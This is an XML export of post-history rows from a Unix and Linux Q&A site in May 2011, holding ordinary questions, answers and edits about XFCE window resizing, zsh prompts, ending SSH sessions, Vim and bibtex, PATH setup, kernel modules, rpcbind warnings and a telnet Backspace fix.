  <row Id="33307" PostHistoryTypeId="2" PostId="13428" RevisionGUID="b376c898-a30c-49e9-aae7-3814974da4a5" CreationDate="2011-05-19T07:21:55.037" UserId="7574" Text="Hello, I wrote a nice little script that changes my monitor outputs according to if an external monitor is connected or not and if the laptop lid is open or closed or not and so on.&#xD;&#xA;That works pretty well, the only thing ist, that when my external big monitor is plugged out the windows on the laptop screen exceed so that I would have to resize or reopen all windows first. &#xD;&#xA;&#xD;&#xA;I am looking for a shell command or something that does this for me; It should just resize all windows so that they fit in the workspace. &#xD;&#xA;&#xD;&#xA;Is this integrated in XFCE4? Or do I need some other program?&#xD;&#xA;&#xD;&#xA;Regards, Jan Oliver&#xD;&#xA;&#xD;&#xA;PS: I am using compiz as window manager and emerald for the decorations." />
  <row Id="33308" PostHistoryTypeId="1" PostId="13428" RevisionGUID="b376c898-a30c-49e9-aae7-3814974da4a5" CreationDate="2011-05-19T07:21:55.037" UserId="7574" Text="tell xfce to resize all windows when plugging out the external monitor" />
  <row Id="33309" PostHistoryTypeId="3" PostId="13428" RevisionGUID="b376c898-a30c-49e9-aae7-3814974da4a5" CreationDate="2011-05-19T07:21:55.037" UserId="7574" Text="éwindowsàéxfceà" />
  <row Id="33310" PostHistoryTypeId="6" PostId="13428" RevisionGUID="e1a0f623-79cc-4052-878b-857e28c1ccfa" CreationDate="2011-05-19T07:40:51.323" UserId="885" Comment="edited tags" Text="émonitoràéxfceàéwindowà" />
  <row Id="33311" PostHistoryTypeId="5" PostId="13428" RevisionGUID="8d74decc-50d5-448a-80d3-bffb79f04b67" CreationDate="2011-05-19T07:46:28.947" UserId="7574" Comment="added 14 characters in body" Text="Hello, I wrote a nice little script that changes my monitor outputs according to if an external monitor is connected or not and if the laptop lid is open or closed or not and so on.&#xD;&#xA;That works pretty well, the only thing ist, that when my external big monitor is plugged out the windows on the laptop screen exceed the workspace so that I would have to resize or reopen all windows first. &#xD;&#xA;&#xD;&#xA;I am looking for a shell command or something that does this for me; It should just resize all windows so that they fit in the workspace. &#xD;&#xA;&#xD;&#xA;Is this integrated in XFCE4? Or do I need some other program?&#xD;&#xA;&#xD;&#xA;Regards, Jan Oliver&#xD;&#xA;&#xD;&#xA;PS: I am using compiz as window manager and emerald for the decorations." />
  <row Id="33312" PostHistoryTypeId="2" PostId="13429" RevisionGUID="cdd9624c-a143-4a59-b832-498c9e11ee98" CreationDate="2011-05-19T07:50:36.060" UserId="1107" Text="With Zsh 4.3.11, you can use the `Z` parameter expansion flag to split a string value according to the normal shell parsing rules while discarding comments (`C` option to `Z`) and treating newlines as normal whitespace instead of replacing them with semicolons (`n` option to `Z`). You can then stitch the results back together (`j::`) and evaluate a level of quoting (`Q`) to let you quote whitespace and other problematic characters (like “bare” comment introducer characters):&#xD;&#xA;&#xD;&#xA;    PS1=${(j::Q)${(Z:Cn:):-$'&#xD;&#xA;       %F{063}%1 # format blue&#xD;&#xA;          ~      # show current directory&#xD;&#xA;       %f&quot; &quot;&#xD;&#xA;       %(1v.%F{099}%1v %f.) # show git branch if git repo in purple&#xD;&#xA;       %F{063}   # format blue&#xD;&#xA;          %#     # % for user and # for root&#xD;&#xA;       %f&quot; &quot;&#xD;&#xA;    '}}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note: This parsing mode seems to know that it should parse the whole `%(v…)` expression as a single word, so we do not have to protect the space embedded in the conditional value. However, we do need to protect the “top level” spaces (the ones that happen to come after `%f`) since those will otherwise be taken as a normal word separator. The final unquoting pass will process any quoting mechanism (i.e. `\`, `''`, `&quot;&quot;`, `$''`), so you can pick what you use to protect special characters (e.g. “top level” spaces or comment introducers intended for the final value).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If you are not using 4.3.11, then you can use an array to let you intersperse comments with the string elements. You will probably have to use more quoting than the with the `Z` parameter expansion flag, but the result may still be tolerable.&#xD;&#xA;&#xD;&#xA;    ps1_arr=(&#xD;&#xA;       %F{063}%1 # format blue&#xD;&#xA;          \~     # show current directory&#xD;&#xA;       %f' '&#xD;&#xA;       '%(1v.%F{099}%1v %f.)' # show git branch if git repo in purple&#xD;&#xA;       %F{063}   # format blue&#xD;&#xA;          %\#    # % for user and # for root&#xD;&#xA;       %f' '&#xD;&#xA;    )&#xD;&#xA;    PS1=${(j::)ps1_arr}&#xD;&#xA;&#xD;&#xA;Some notes on the quoting:&#xD;&#xA;&#xD;&#xA;* You can avoid quoting the `~` if you say `%1~` instead of splitting it (it is `%~` with an argument of `1`, after all).&#xD;&#xA;* I quoted the whole `%(v…)` word, but only the parentheses and the space need protection.&#xD;&#xA;* You only need to quote the `#` in `%#` if you have EXTENDED_GLOB enabled.&#xD;&#xA;* The spaces that happen to come after `%f` need some kind of quoting. You can use a backslash, but it might look like a line continuation if you do not have “visible whitespace” in your editor." />
  <row Id="33313" PostHistoryTypeId="5" PostId="13428" RevisionGUID="28265688-2239-4003-afbb-0b1aa33cfccf" CreationDate="2011-05-19T08:08:57.373" UserId="1925" Comment="Removed signature, see FAQ. Your posts are signed with a link to your profile." Text="I wrote a nice little script that changes my monitor outputs according to if an external monitor is connected or not and if the laptop lid is open or closed or not and so on.&#xD;&#xA;&#xD;&#xA;That works pretty well, the only thing ist, that when my external big monitor is un-plugged the windows on the laptop screen exceed the workspace so that I would have to resize or reopen all windows first. &#xD;&#xA;&#xD;&#xA;I am looking for a shell command or something that does this for me; It should just resize all windows so that they fit in the workspace. &#xD;&#xA;&#xD;&#xA;Is this integrated in XFCE4? Or do I need some other program?&#xD;&#xA;&#xD;&#xA;PS: I am using compiz as window manager and emerald for the decorations." />
  <row Id="33314" PostHistoryTypeId="2" PostId="13430" RevisionGUID="ddd0f174-2e37-4656-a030-09f6c643e688" CreationDate="2011-05-19T08:22:11.520" UserId="1952" Text="You can use xdotool, which is a command line tool for manipulating X windows, so it should work with every window manager and every desktop environment." />
  <row Id="33315" PostHistoryTypeId="5" PostId="13428" RevisionGUID="e398436b-82f3-4e00-bed8-8a95a3872abe" CreationDate="2011-05-19T08:24:27.643" UserId="2421" Comment="fixed grammar" Text="I wrote a nice little script that changes my monitor outputs according to whether an external monitor is connected or not and whether the laptop lid is open or closed or not and so on.&#xD;&#xA;&#xD;&#xA;That works pretty well, the only thing is that when my big external monitor is unplugged the windows on the laptop screen exceed the workspace so that I would have to resize or reopen all windows first. &#xD;&#xA;&#xD;&#xA;I am looking for a shell command or something that does this for me; it should just resize all windows so that they fit in the workspace. &#xD;&#xA;&#xD;&#xA;Is this integrated in XFCE4? Or do I need some other program?&#xD;&#xA;&#xD;&#xA;PS: I am using compiz as window manager and emerald for the decorations." />
  <row Id="33316" PostHistoryTypeId="4" PostId="13428" RevisionGUID="e398436b-82f3-4e00-bed8-8a95a3872abe" CreationDate="2011-05-19T08:24:27.643" UserId="2421" Comment="fixed grammar" Text="tell xfce to resize all windows when external monitor unplugged" />
  <row Id="33317" PostHistoryTypeId="5" PostId="13430" RevisionGUID="4d2e8d55-1b1e-413f-9d01-3f1ed8e68080" CreationDate="2011-05-19T09:12:13.327" UserId="1952" Comment="added 63 characters in body" Text="You can use [xdotool][1], which is a command line tool for manipulating X windows, so it should work with every window manager and every desktop environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.semicomplete.com/projects/xdotool/" />
  <row Id="33318" PostHistoryTypeId="25" PostId="13428" RevisionGUID="bb039692-e672-454e-b234-d40bb8990fec" CreationDate="2011-05-19T09:12:24.057" Comment="http://twitter.com/#!/StackUnix/status/71141138966392832" />
  <row Id="33319" PostHistoryTypeId="2" PostId="13431" RevisionGUID="ead86a28-f7be-4630-8ebf-4b3a5e18bc92" CreationDate="2011-05-19T09:31:32.880" UserId="7597" Text="I can confirm krubo's solution for my Thinkpad T420. However at the last step with &quot;install&quot;, I had to add a &quot;--force&quot; to make it work." />
  <row Id="33320" PostHistoryTypeId="2" PostId="13432" RevisionGUID="835f07e8-fd40-4047-8696-a5cfd7b20b41" CreationDate="2011-05-19T09:43:50.170" UserId="7596" Text="For some reason, I have a few open sessions on an SSH server that I don't know about. I assume they're leftovers from when my pipe broke.&#xD;&#xA;&#xD;&#xA;    $ users&#xD;&#xA;    user1 user2 user3 me me me me&#xD;&#xA;&#xD;&#xA;Is there a way to log me out across all sessions?" />
  <row Id="33321" PostHistoryTypeId="1" PostId="13432" RevisionGUID="835f07e8-fd40-4047-8696-a5cfd7b20b41" CreationDate="2011-05-19T09:43:50.170" UserId="7596" Text="How do I log out of all my active sessions?" />
  <row Id="33322" PostHistoryTypeId="3" PostId="13432" RevisionGUID="835f07e8-fd40-4047-8696-a5cfd7b20b41" CreationDate="2011-05-19T09:43:50.170" UserId="7596" Text="ésshàéusersàéloginà" />
  <row Id="33323" PostHistoryTypeId="5" PostId="13431" RevisionGUID="bc183345-55c0-4baa-8b63-949cc9f2bded" CreationDate="2011-05-19T09:45:01.527" UserId="7597" Comment="added 190 characters in body; added 92 characters in body" Text="I've tried krubo's solution for my Thinkpad T420. However at the last step with &quot;install&quot;, I had to add a &quot;--force&quot; to make the modprobe successful; otherwise it gave me the same error as initially.&#xD;&#xA;&#xD;&#xA;However when I try to modify my battery settings, the echo command is successful, but upon reading it, cat still gives 100.&#xD;&#xA;&#xD;&#xA;Also upon reboot, the module is no longer loaded, and I need to manually modprobe again." />
  <row Id="33324" PostHistoryTypeId="2" PostId="13433" RevisionGUID="ca07a60b-301f-4c3b-a4b2-a0c4929ff07c" CreationDate="2011-05-19T09:49:51.047" UserId="1925" Text="You could try killing off the individual processes that are still running as you, or just purge the system of everything running as you: `pkill -u username`" />
  <row Id="33325" PostHistoryTypeId="2" PostId="13434" RevisionGUID="96fcf386-7179-4fe2-8d92-e8e2a9d669f7" CreationDate="2011-05-19T09:52:49.437" UserId="6141" Text="### Context&#xD;&#xA;I currently write research articles in LaTeX using Vim.&#xD;&#xA;I have bibtex keys in my articles like `\cite{smith2000sometopic}` and I have corresponding pdf versions of most articles in a subfolder of `~/lib` e.g., `~/lib/topica/smith2000sometopic.pdf`.&#xD;&#xA;&#xD;&#xA;### Aim&#xD;&#xA;I'd like to be able to press a key in Vim when my cursor is over a bibtex key that:&#xD;&#xA;&#xD;&#xA;1. extracts the `bibtex-key` under the cursor&#xD;&#xA;2. performs a search for `bibtex-key.pdf`&#xD;&#xA;3. if the file is found, opens the file in a pdf viewer&#xD;&#xA;4. If the file is not found, indicate that this is the case&#xD;&#xA;&#xD;&#xA;### Question&#xD;&#xA;* Has anyone already done something like this?&#xD;&#xA;* Are there any examples that would be useful to study?&#xD;&#xA;&#xD;&#xA;### Initial thoughts&#xD;&#xA;&#xD;&#xA;I thought I could use something like:&#xD;&#xA;&#xD;&#xA;     gnome-open `find ~/lib/ -iname &quot;smith2000sometopic.pdf&quot; | head -1`&#xD;&#xA;&#xD;&#xA;and then experiment with some Vimscript to fine tune the interaction; but if anyone has any examples or suggestions, that would be most appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33326" PostHistoryTypeId="1" PostId="13434" RevisionGUID="96fcf386-7179-4fe2-8d92-e8e2a9d669f7" CreationDate="2011-05-19T09:52:49.437" UserId="6141" Text="Script for opening corresponding pdfs for bibtex keys in Vim" />
  <row Id="33327" PostHistoryTypeId="3" PostId="13434" RevisionGUID="96fcf386-7179-4fe2-8d92-e8e2a9d669f7" CreationDate="2011-05-19T09:52:49.437" UserId="6141" Text="évimàéfindà" />
  <row Id="33328" PostHistoryTypeId="5" PostId="13431" RevisionGUID="f1e02078-4478-47bb-b302-4b182d4b3b68" CreationDate="2011-05-19T10:02:14.383" UserId="7597" Comment="added 61 characters in body" Text="I've tried krubo's solution for my Thinkpad T420. However at the last step with &quot;install&quot;, I had to add a &quot;--force&quot; to make the modprobe successful; otherwise it gave me the same error as initially.&#xD;&#xA;&#xD;&#xA;However when I try to modify my battery settings, the echo command is successful, but upon reading it, cat still gives 100.&#xD;&#xA;&#xD;&#xA;Also upon reboot, the module is no longer loaded, and I need to manually modprobe again. *EDIT*; this was fixed by adding &quot;tp_smapi&quot; to /etc/modules." />
  <row Id="33329" PostHistoryTypeId="6" PostId="13039" RevisionGUID="b11025d5-0e97-4bac-8fb1-b92e9684919a" CreationDate="2011-05-19T10:06:10.970" UserId="5473" Comment="edited tags" Text="élinuxàétextöprocessingàégrepà" />
  <row Id="33330" PostHistoryTypeId="5" PostId="13431" RevisionGUID="b0b87695-1a00-420a-8ddd-bafdadc6f10d" CreationDate="2011-05-19T10:16:25.697" UserId="7597" Comment="added 132 characters in body; added 128 characters in body" Text="I've tried krubo's solution for my Thinkpad T420. However at the last step with &quot;install&quot;, I had to add a &quot;--force&quot; to make the modprobe successful; otherwise it gave me the same error as initially.&#xD;&#xA;&#xD;&#xA;However when I try to modify my battery settings, the echo command is successful, but upon reading it, cat still gives 100.&#xD;&#xA;&#xD;&#xA;Also upon reboot, the module is no longer loaded, and I need to manually modprobe again. *EDIT*; this was fixed by adding &quot;tp_smapi&quot; to /etc/modules.&#xD;&#xA;&#xD;&#xA;However, happy to report that hdaps is working; I had to change the last setting in /etc/defaults/hdaps, &quot;FORCEENABLE&quot; to &quot;yes&quot;. I checked it using this link: http://www.thinkwiki.org/wiki/How_to_protect_the_harddisk_through_APS#Verifying_hdapsd_is_working" />
  <row Id="33331" PostHistoryTypeId="2" PostId="13435" RevisionGUID="55dd5705-e188-4626-be96-b0b4a74c2414" CreationDate="2011-05-19T10:23:00.747" UserId="1107" Text="Often, software compiled from source will install to `/usr/local/bin`. This is probably where you are installing your locally-compiled Ruby.&#xD;&#xA;&#xD;&#xA;A common “downloadable” Git for Mac OS X is the [git-osx-installer](http://code.google.com/p/git-osx-installer/) pre-built version. It installs to `/usr/local/git/bin` (though I suppose you might have downloaded some other variant).&#xD;&#xA;&#xD;&#xA;Neither of those directories are in the default PATH environment variable, so neither will be used when you type `ruby` or `git` into your shell.&#xD;&#xA;&#xD;&#xA;However, the system-bundled Ruby (version 1.8.7) and the Git that comes with Xcode 4 (1.7.3.4, as I have read) are installed in `/usr/bin`, which is in the default PATH.&#xD;&#xA;&#xD;&#xA;You probably just need to adjust your PATH in your shell initialization files. Just put your locally installed directories first.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If you are using *bash* (the default), add the following to your `.bashrc`:&#xD;&#xA;&#xD;&#xA;    PATH=/usr/local/bin:/usr/local/git/bin:$PATH&#xD;&#xA;&#xD;&#xA;and make sure you have the following in your `.bash_profile` or `.bash_login` (use whichever exists or `.bash_profile` if neither exist):&#xD;&#xA;&#xD;&#xA;    source ~/.bashrc&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33332" PostHistoryTypeId="2" PostId="13436" RevisionGUID="b8915377-f42d-4d4f-b0f6-600408b7e8dc" CreationDate="2011-05-19T10:55:53.823" UserId="6155" Text="I want to install SVN version of Quantum GIS and already I have a SVN version of GRASS GIS. As instructed in QGIS Wiki [here](http://www.qgis.org/wiki/Download#Trunk_3), I added the qgis repository to my sources.list file. Now I am able to see qgis1.8.0svn version in Synaptic but when I try to install it, GRASS is a dependency(older version is available in the repository and even if I add Ubuntu GIS Unstable PPA it's not the developmental version available there, i.e., version 6.5 is not available; which offers nice features). GRASS's SVN version does not show up in Synaptic as we don't add URL to `sources.list`. It has to be done through svn checkout. How can I set Synaptic to identify the already installed GRASS GIS in my `/usr/local/` directory?" />
  <row Id="33333" PostHistoryTypeId="1" PostId="13436" RevisionGUID="b8915377-f42d-4d4f-b0f6-600408b7e8dc" CreationDate="2011-05-19T10:55:53.823" UserId="6155" Text="Link a dependency in Synaptic to the one already installed from source" />
  <row Id="33334" PostHistoryTypeId="3" PostId="13436" RevisionGUID="b8915377-f42d-4d4f-b0f6-600408b7e8dc" CreationDate="2011-05-19T10:55:53.823" UserId="6155" Text="ésoftwareöinstallationàésourceà" />
  <row Id="33335" PostHistoryTypeId="2" PostId="13437" RevisionGUID="85f0a3ab-c391-4889-904e-3575bde3a1dc" CreationDate="2011-05-19T11:04:50.413" UserId="5193" Text="Hi there,  &#xD;&#xA;in my debian testing system, I get these messages  &#xD;&#xA;&gt; Starting rpcbind daemon...rpcbind:&#xD;&#xA;&gt; Cannot open&#xD;&#xA;&gt; '/var/run/rpcbind/rpcbind.xdr' file&#xD;&#xA;&gt; for reading, errno 2 (No such file or&#xD;&#xA;&gt; directory)  &#xD;&#xA;&gt; rpcbind: Cannot open&#xD;&#xA;&gt; '/var/run/rpcbind/portmap.xdr' file&#xD;&#xA;&gt; for reading, errno 2 (No such file or&#xD;&#xA;&gt; directory)  &#xD;&#xA;&gt; .&#xD;&#xA;&#xD;&#xA;in my `/var/log/boot` file.&#xD;&#xA;Thus it is coming up - but with this annoying message.&#xD;&#xA;I do not know, how to remove this.&#xD;&#xA;Any hints?  &#xD;&#xA;Thanks in advance." />
  <row Id="33336" PostHistoryTypeId="1" PostId="13437" RevisionGUID="85f0a3ab-c391-4889-904e-3575bde3a1dc" CreationDate="2011-05-19T11:04:50.413" UserId="5193" Text="rpcbind-&quot;warning&quot; on boot" />
  <row Id="33337" PostHistoryTypeId="3" PostId="13437" RevisionGUID="85f0a3ab-c391-4889-904e-3575bde3a1dc" CreationDate="2011-05-19T11:04:50.413" UserId="5193" Text="édebianàébootàétestingà" />
  <row Id="33338" PostHistoryTypeId="5" PostId="13437" RevisionGUID="5554229b-e3c3-4f63-b658-edc4231ec25c" CreationDate="2011-05-19T11:14:51.427" UserId="1925" Comment="Removed TIA, see FAQ. Formatted for clarity." Text="On my debian testing system, I get these messages in my `/var/log/boot` file:&#xD;&#xA;&#xD;&#xA;    Starting rpcbind daemon...rpcbind:&#xD;&#xA;    Cannot open '/var/run/rpcbind/rpcbind.xdr' file for reading, errno 2 (No such file or directory)  &#xD;&#xA;    rpcbind: Cannot open '/var/run/rpcbind/portmap.xdr' file for reading, errno 2 (No such file or directory)&#xD;&#xA;&#xD;&#xA;Thus it is coming up - but with this annoying message. I do not know how to remove this." />
  <row Id="33339" PostHistoryTypeId="2" PostId="13438" RevisionGUID="7e38d023-c024-41c2-941f-731f4e69676f" CreationDate="2011-05-19T11:18:53.023" UserId="1026" Text="Is it possible to list down unused modules? `lsmod` would only list down dependency by modules, right?" />
  <row Id="33340" PostHistoryTypeId="1" PostId="13438" RevisionGUID="7e38d023-c024-41c2-941f-731f4e69676f" CreationDate="2011-05-19T11:18:53.023" UserId="1026" Text="List unused module" />
  <row Id="33341" PostHistoryTypeId="3" PostId="13438" RevisionGUID="7e38d023-c024-41c2-941f-731f4e69676f" CreationDate="2011-05-19T11:18:53.023" UserId="1026" Text="éslackwareàémoduleà" />
  <row Id="33342" PostHistoryTypeId="2" PostId="13439" RevisionGUID="cd0a5e5c-92b7-4ffb-aa99-92135ce19210" CreationDate="2011-05-19T11:35:38.217" UserId="4671" Text="This is customarily done by creating a trivial package. See  http://packages.ubuntu.com/oneiric/equivs and&#xD;&#xA;http://manpages.ubuntu.com/manpages/oneiric/man1/equivs-build.1.html and also a random Ubuntu howto, http://ubuntuforums.org/showthread.php?t=726317. For the record, this idea originated in Debian." />
  <row Id="33343" PostHistoryTypeId="5" PostId="13439" RevisionGUID="90ed5522-5f86-4dc4-9269-1336136ecb87" CreationDate="2011-05-19T11:41:49.087" UserId="4671" Comment="added 208 characters in body; added 109 characters in body" Text="This is customarily done by using equivs - creating a trivial package. You create a package whose sole purpose is (in this case) is to tell the package management system that you already have GRASS GIS installed. In your case the package would have no content.&#xD;&#xA;&#xD;&#xA;See  [equivs Ubuntu package page](http://packages.ubuntu.com/oneiric/equivs),&#xD;&#xA;[equivs-build Ubuntu man page](http://manpages.ubuntu.com/manpages/oneiric/man1/equivs-build.1.html), and a random Ubuntu howto, [Howto: create &quot;configuration packages&quot; with equivs](http://ubuntuforums.org/showthread.php?t=726317). For the record, this idea originated in Debian." />
  <row Id="33344" PostHistoryTypeId="2" PostId="13440" RevisionGUID="847774ba-9b0e-481f-a8a0-5a00a7de84f1" CreationDate="2011-05-19T11:59:43.790" UserId="5842" Text="`lsmod` lists all loaded modules, and has a `Used by` column. If that is `0` for module A, then no other loaded module has a dependency on it.&#xD;&#xA;&#xD;&#xA;_This does not mean that removing the module is safe._" />
  <row Id="33345" PostHistoryTypeId="25" PostId="13432" RevisionGUID="14de9eda-e0a7-4e7a-b827-ac96165d8b0c" CreationDate="2011-05-19T12:12:23.813" Comment="http://twitter.com/#!/StackUnix/status/71186436421988353" />
  <row Id="33346" PostHistoryTypeId="2" PostId="13441" RevisionGUID="fe0cb456-d0f6-4405-b1e7-3040b8b57cd7" CreationDate="2011-05-19T12:21:18.117" UserId="1772" Text="I know this is not a tech support forum, but I am not etting an answer from alsa people and have tried much, if not everything.&#xD;&#xA;&#xD;&#xA;I can upload the alsa-info output if needed, but here is the info probably most relevant. Two codecs (one HDA, one NVIDIA HDMI)&#xD;&#xA;&#xD;&#xA;Codec: IDT 92HD73C1X5&#xD;&#xA;Codec: Nvidia MCP79/7A HDMI&#xD;&#xA;Driver version:     1.0.23&#xD;&#xA;Library version:    1.0.24.1&#xD;&#xA;Utilities version:  1.0.24.2&#xD;&#xA;&#xD;&#xA;I have tried setting all models supported for this codec (variants of the chip) in modprobe.conf, but only the one with auto gives sound, but only 4.0 output through the stereo jacks. It seems alsa is unable to switch the third (which is Mic/Line in) to output an additional 2 channels.&#xD;&#xA;&#xD;&#xA;I noticed tons of other Codecs [here][1] with 3 jack output, but these are probably desktop chips.&#xD;&#xA;&#xD;&#xA;What should I do? Install a dev version of alsa? Pester the extremely quiet mailing list? Is there some hack/workaround I'm missing?&#xD;&#xA;&#xD;&#xA;Thanks for any help, I really need this if I'm to switch to Arch as my main OS.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/doc/Documentation/sound/alsa/HD-Audio-Models.txt" />
  <row Id="33347" PostHistoryTypeId="1" PostId="13441" RevisionGUID="fe0cb456-d0f6-4405-b1e7-3040b8b57cd7" CreationDate="2011-05-19T12:21:18.117" UserId="1772" Text="alsa and 5.1 surroudn through three front stereo jacks on the Dell Studio XPS 13" />
  <row Id="33348" PostHistoryTypeId="3" PostId="13441" RevisionGUID="fe0cb456-d0f6-4405-b1e7-3040b8b57cd7" CreationDate="2011-05-19T12:21:18.117" UserId="1772" Text="élinuxàéaudioàéalsaàéjackà" />
  <row Id="33349" PostHistoryTypeId="4" PostId="13441" RevisionGUID="b467782b-1bdc-4545-bbc9-4815308bfb22" CreationDate="2011-05-19T12:40:39.737" UserId="1835" Comment="correct the spelling of the title" Text="alsa and 5.1 surround through three front stereo jacks on the Dell Studio XPS 13" />
  <row Id="33350" PostHistoryTypeId="24" PostId="13441" RevisionGUID="b467782b-1bdc-4545-bbc9-4815308bfb22" CreationDate="2011-05-19T12:40:39.737" Comment="Proposed by 1835 approved by 688 edit id of 381" />
  <row Id="33351" PostHistoryTypeId="5" PostId="13440" RevisionGUID="d8440b7a-8533-4736-be21-36fae8bd617f" CreationDate="2011-05-19T12:46:43.313" UserId="5842" Comment="added 422 characters in body" Text="`lsmod` lists all loaded modules, and has a `Used by` column. If that is `0` for module A, then no other loaded module has a dependency on it.&#xD;&#xA;&#xD;&#xA;_This does not mean that removing the module is safe._&#xD;&#xA;&#xD;&#xA;There is no way that I can think of that you could determine if a module is &quot;in use&quot;. Device driver modules will (usually) increase their `Used by` count when they are actually handling a device. (This is valid also for virtual devices.) But I don't think you can count on that.&#xD;&#xA;&#xD;&#xA;e.g. Right now I have the `coretemp` and `lm90` modules loaded. Their `Used by` count is zero, but they are &quot;in use&quot; (temp. monitoring)." />
  <row Id="33352" PostHistoryTypeId="2" PostId="13442" RevisionGUID="d9ba65ff-9286-411b-afda-2cf027df1a9d" CreationDate="2011-05-19T12:50:42.127" UserId="7599" Text="I just recently started using the WebDriver from Selenium 2 in Java.  There is a driver called HtmlUnitDriver that fully supports JavaScript but does not fire up an actual browser.&#xD;&#xA;&#xD;&#xA;It is not a light solution but it does get the job done.&#xD;&#xA;&#xD;&#xA;I've designed the code to run from the command line and save the web data to files." />
  <row Id="33353" PostHistoryTypeId="2" PostId="13443" RevisionGUID="1a6af40e-5b23-4010-b87f-828ee7694c64" CreationDate="2011-05-19T13:06:25.473" UserId="7600" Text="I have a large archive of edited images from my camera, each image is actually a pair of files - *.nef &amp; *.xmp. I would like to go through all the folders and then zip these pairs into single tgz files.&#xD;&#xA;&#xD;&#xA;Each of the filenames in a directory is unique, so it would be sufficient to move the file names from output of `ls *.nef` to the command `tar -czf {filename}.tgz {filename}.*`, but I'm afraid I've no idea where to start.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="33354" PostHistoryTypeId="1" PostId="13443" RevisionGUID="1a6af40e-5b23-4010-b87f-828ee7694c64" CreationDate="2011-05-19T13:06:25.473" UserId="7600" Text="Find files with same name but different extensions, send to tgz" />
  <row Id="33355" PostHistoryTypeId="3" PostId="13443" RevisionGUID="1a6af40e-5b23-4010-b87f-828ee7694c64" CreationDate="2011-05-19T13:06:25.473" UserId="7600" Text="éfindàétaràérecursiveà" />
  <row Id="33356" PostHistoryTypeId="2" PostId="13444" RevisionGUID="da03ce55-d4c3-435d-b288-aa0de358a1b1" CreationDate="2011-05-19T13:20:55.950" UserId="6766" Text="I finally found an answer in [Anne Baretta's Linux Keyboard Hall of Shame](http://www.ibb.net/~anne/keyboard/keyboard.html)... it seems that **changing key mappings in `xterm` / `rxvt` does no good for `telnet`**.  I validated this when I sniffed the telnet connection after intentionally breaking &lt;kbd&gt;Backspace&lt;/kbd&gt; with `stty erase $` (thus mapping my Backspace to the dollar sign).  After doing this in `rxvt`, I had to hit &lt;kbd&gt;$&lt;/kbd&gt; to backspace, but in `telnet` hitting &lt;kbd&gt;Backspace&lt;/kbd&gt; still sent `0x7f` to the remote host; this is the same thing  &lt;kbd&gt;Backspace&lt;/kbd&gt; did *before* breaking it with `stty erase $`.&#xD;&#xA;&#xD;&#xA;SOLUTION&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/expect&#xD;&#xA;    &#xD;&#xA;    #Name this file kbdfix and make it executable in your path&#xD;&#xA;    eval spawn -noecho $argv&#xD;&#xA;    &#xD;&#xA;    interact {&#xD;&#xA;     \177        {send &quot;\010&quot;}&#xD;&#xA;     &quot;\033\[3~&quot;  {send &quot;\177&quot;}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Now to connect to the broken hosts, I type `kbdfix telnet 192.168.12.117 2006`, and it works.&#xD;&#xA;&#xD;&#xA;Note for anyone confused by 2006 above... that is the TCP port that the Cisco term server uses for serial connection to the console of the broken device (in this case, a Brocade FCX switch)." />
  <row Id="33357" PostHistoryTypeId="5" PostId="13444" RevisionGUID="8943c996-02c0-4ada-a335-354df8a13400" CreationDate="2011-05-19T13:27:20.923" UserId="6766" Comment="added 33 characters in body; added 3 characters in body" Text="I finally found an answer in [Anne Baretta's Linux Keyboard Hall of Shame](http://www.ibb.net/~anne/keyboard/keyboard.html)... it seems that **changing key mappings in `xterm` / `rxvt` does no good for `telnet`**.&#xD;&#xA;&#xD;&#xA;I validated this when I sniffed the telnet connection.  First I sniffed the telnet session and saw that &lt;kbd&gt;Backspace&lt;/kbd&gt; sent `0x7f` to the host. Next I intentionally broke &lt;kbd&gt;Backspace&lt;/kbd&gt; in `rxvt` using `stty erase $` (thus mapping my Backspace to the dollar sign in `rxvt`).    After doing this, I had to hit &lt;kbd&gt;$&lt;/kbd&gt; to backspace in `rxvt`, but `telnet` still sent `0x7f` when I used &lt;kbd&gt;Backspace&lt;/kbd&gt; on the remote host.&#xD;&#xA;&#xD;&#xA;SOLUTION&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/expect&#xD;&#xA;    &#xD;&#xA;    #Name this file as kbdfix and make it executable in your path&#xD;&#xA;    eval spawn -noecho $argv&#xD;&#xA;    &#xD;&#xA;    interact {&#xD;&#xA;     \177        {send &quot;\010&quot;}&#xD;&#xA;     &quot;\033\[3~&quot;  {send &quot;\177&quot;}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Now to connect to the broken hosts, I type `kbdfix telnet 192.168.12.117 2006`, and it works.&#xD;&#xA;&#xD;&#xA;Note for anyone confused by 2006 above... that is the TCP port that the Cisco term server uses for the serial connection to the console of the broken device (in this case, a Brocade FCX switch)." />
  <row Id="33358" PostHistoryTypeId="2" PostId="13445" RevisionGUID="a6bb694d-e742-4636-bcd2-1db05802a856" CreationDate="2011-05-19T13:28:36.787" UserId="6108" Text="Hello,&#xD;&#xA;&#xD;&#xA;Currently I'm using the following to check how long a process is actually running:&#xD;&#xA;&#xD;&#xA;    ps -eo uid,pid,etime | egrep '^ *MY_ID' | egrep 'PID_OF_PROCESS'&#xD;&#xA;&#xD;&#xA;And that outputs the following:&#xD;&#xA;&#xD;&#xA;    MY_ID PID_OF_PROCESS       00:16&#xD;&#xA;&#xD;&#xA;However, after the process ends I want to find out how long it actually ran for but I can't seem to find that information. Any help would be great!&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33359" PostHistoryTypeId="1" PostId="13445" RevisionGUID="a6bb694d-e742-4636-bcd2-1db05802a856" CreationDate="2011-05-19T13:28:36.787" UserId="6108" Text="How to check how long a process ran after it finished?" />
  <row Id="33360" PostHistoryTypeId="3" PostId="13445" RevisionGUID="a6bb694d-e742-4636-bcd2-1db05802a856" CreationDate="2011-05-19T13:28:36.787" UserId="6108" Text="éprocessà" />
